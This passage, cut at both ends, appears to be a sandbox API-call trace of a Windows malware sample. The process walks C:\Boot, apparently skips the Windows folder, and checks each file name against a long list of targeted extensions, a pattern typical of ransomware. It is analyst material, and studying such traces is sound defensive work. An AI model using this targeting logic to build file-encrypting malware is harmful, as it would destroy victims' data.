lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.856] FindNextFileW (in: hFindFile=0x613378, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0036.856] FindClose (in: hFindFile=0x613378 | out: hFindFile=0x613378) returned 1 [0036.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37d06e0 | out: hHeap=0x520000) returned 1 [0036.856] FindNextFileW (in: hFindFile=0x613338, lpFindFileData=0x3e8fd00 | out: lpFindFileData=0x3e8fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0036.856] lstrlenW (lpString="C:\\Boot") returned 7 [0036.856] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0036.856] lstrlenW (lpString="Boot") returned 4 [0036.856] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0036.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37d06e0 [0036.856] lstrlenW (lpString="C:\\Boot") returned 7 [0036.856] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x614380 [0036.857] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.857] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0036.857] lstrlenW (lpString="BCD") returned 3 [0036.857] lstrlenW (lpString=".1cd") returned 4 [0036.857] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".3ds") returned 4 [0036.857] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".3fr") returned 4 [0036.857] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".3g2") returned 4 [0036.857] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".3gp") returned 4 [0036.857] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".7z") returned 3 [0036.857] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0036.857] lstrlenW (lpString=".accda") returned 6 [0036.857] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".accdb") returned 6 [0036.857] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".accdc") returned 6 [0036.857] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".accde") returned 6 [0036.857] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".accdt") returned 6 [0036.857] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0036.857] lstrlenW (lpString=".accdw") returned 6 [0036.858] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".adb") returned 4 [0036.858] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".adp") returned 4 [0036.858] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".ai") returned 3 [0036.858] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0036.858] lstrlenW (lpString=".ai3") returned 4 [0036.858] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".ai4") returned 4 [0036.858] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".ai5") returned 4 [0036.858] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".ai6") returned 4 [0036.858] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".ai7") returned 4 [0036.858] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".ai8") returned 4 [0036.858] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".anim") returned 5 [0036.858] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".arw") returned 4 [0036.858] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".as") returned 3 [0036.858] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0036.858] lstrlenW (lpString=".asa") returned 4 [0036.858] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".asc") returned 4 [0036.858] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".ascx") returned 5 [0036.858] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".asm") returned 4 [0036.858] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".asmx") returned 5 [0036.858] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0036.858] lstrlenW (lpString=".asp") returned 4 [0036.858] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".aspx") returned 5 [0036.859] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".asr") returned 4 [0036.859] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".asx") returned 4 [0036.859] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".avi") returned 4 [0036.859] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".avs") returned 4 [0036.859] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".backup") returned 7 [0036.859] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".bak") returned 4 [0036.859] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".bay") returned 4 [0036.859] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".bd") returned 3 [0036.859] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0036.859] lstrlenW (lpString=".bin") returned 4 [0036.859] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".bmp") returned 4 [0036.859] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".bz2") returned 4 [0036.859] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".c") returned 2 [0036.859] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0036.859] lstrlenW (lpString=".cdr") returned 4 [0036.859] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".cer") returned 4 [0036.859] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".cf") returned 3 [0036.859] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0036.859] lstrlenW (lpString=".cfc") returned 4 [0036.859] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".cfm") returned 4 [0036.859] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0036.859] lstrlenW (lpString=".cfml") returned 5 [0036.859] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".cfu") returned 4 [0036.860] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".chm") returned 4 [0036.860] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".cin") returned 4 [0036.860] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".class") returned 6 [0036.860] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".clx") returned 4 [0036.860] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".config") returned 7 [0036.860] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".cpp") returned 4 [0036.860] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".cr2") returned 4 [0036.860] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".crt") returned 4 [0036.860] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".crw") returned 4 [0036.860] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".cs") returned 3 [0036.860] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0036.860] lstrlenW (lpString=".css") returned 4 [0036.860] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".csv") returned 4 [0036.860] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".cub") returned 4 [0036.860] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".dae") returned 4 [0036.860] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".dat") returned 4 [0036.860] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".db") returned 3 [0036.860] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0036.860] lstrlenW (lpString=".dbf") returned 4 [0036.860] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0036.860] lstrlenW (lpString=".dbx") returned 4 [0036.861] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dc3") returned 4 [0036.861] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dcm") returned 4 [0036.861] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dcr") returned 4 [0036.861] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".der") returned 4 [0036.861] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dib") returned 4 [0036.861] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dic") returned 4 [0036.861] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dif") returned 4 [0036.861] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".divx") returned 5 [0036.861] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".djvu") returned 5 [0036.861] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dng") returned 4 [0036.861] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".doc") returned 4 [0036.861] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".docm") returned 5 [0036.861] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".docx") returned 5 [0036.861] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dot") returned 4 [0036.861] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dotm") returned 5 [0036.861] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dotx") returned 5 [0036.861] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dpx") returned 4 [0036.861] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dqy") returned 4 [0036.861] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0036.861] lstrlenW (lpString=".dsn") returned 4 [0036.862] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".dt") returned 3 [0036.862] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0036.862] lstrlenW (lpString=".dtd") returned 4 [0036.862] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".dwg") returned 4 [0036.862] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".dwt") returned 4 [0036.862] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".dx") returned 3 [0036.862] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0036.862] lstrlenW (lpString=".dxf") returned 4 [0036.862] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".edml") returned 5 [0036.862] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".efd") returned 4 [0036.862] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".elf") returned 4 [0036.862] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".emf") returned 4 [0036.862] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".emz") returned 4 [0036.862] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".epf") returned 4 [0036.862] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".eps") returned 4 [0036.862] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".epsf") returned 5 [0036.862] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".epsp") returned 5 [0036.862] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".erf") returned 4 [0036.862] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".exr") returned 4 [0036.862] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0036.862] lstrlenW (lpString=".f4v") returned 4 [0036.862] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0036.863] lstrlenW (lpString=".fido") returned 5 [0036.863] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0036.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.863] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.863] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.863] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.864] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.864] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0036.864] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.864] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.865] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.865] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.865] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.865] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0036.865] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13 [0036.865] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\de-DE") returned 1 [0036.865] lstrlenW (lpString="de-DE") returned 5 [0036.865] lstrcmpiW (lpString1="C:\\Windows", lpString2="de-DE") returned -1 [0036.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.865] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13 [0036.865] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.867] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.867] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.867] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.867] lstrlenW (lpString=".1cd") returned 4 [0036.867] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.867] lstrlenW (lpString=".3ds") returned 4 [0036.867] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0036.867] lstrlenW (lpString=".3fr") returned 4 [0036.867] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0036.867] lstrlenW (lpString=".3g2") returned 4 [0036.867] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0036.867] lstrlenW (lpString=".3gp") returned 4 [0036.867] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0036.867] lstrlenW (lpString=".7z") returned 3 [0036.867] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.867] lstrlenW (lpString=".accda") returned 6 [0036.867] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0036.867] lstrlenW (lpString=".accdb") returned 6 [0036.867] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0036.867] lstrlenW (lpString=".accdc") returned 6 [0036.867] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0036.867] lstrlenW (lpString=".accde") returned 6 [0036.867] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0036.867] lstrlenW (lpString=".accdt") returned 6 [0036.867] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0036.867] lstrlenW (lpString=".accdw") returned 6 [0036.867] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0036.867] lstrlenW (lpString=".adb") returned 4 [0036.867] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0036.867] lstrlenW (lpString=".adp") returned 4 [0036.867] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0036.867] lstrlenW (lpString=".ai") returned 3 [0036.867] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0036.867] lstrlenW (lpString=".ai3") returned 4 [0036.868] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".ai4") returned 4 [0036.868] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".ai5") returned 4 [0036.868] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".ai6") returned 4 [0036.868] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".ai7") returned 4 [0036.868] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".ai8") returned 4 [0036.868] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".anim") returned 5 [0036.868] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0036.868] lstrlenW (lpString=".arw") returned 4 [0036.868] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".as") returned 3 [0036.868] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0036.868] lstrlenW (lpString=".asa") returned 4 [0036.868] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".asc") returned 4 [0036.868] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".ascx") returned 5 [0036.868] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0036.868] lstrlenW (lpString=".asm") returned 4 [0036.868] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".asmx") returned 5 [0036.868] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0036.868] lstrlenW (lpString=".asp") returned 4 [0036.868] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".aspx") returned 5 [0036.868] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0036.868] lstrlenW (lpString=".asr") returned 4 [0036.868] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".asx") returned 4 [0036.868] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0036.868] lstrlenW (lpString=".avi") returned 4 [0036.869] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".avs") returned 4 [0036.869] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0036.869] lstrlenW 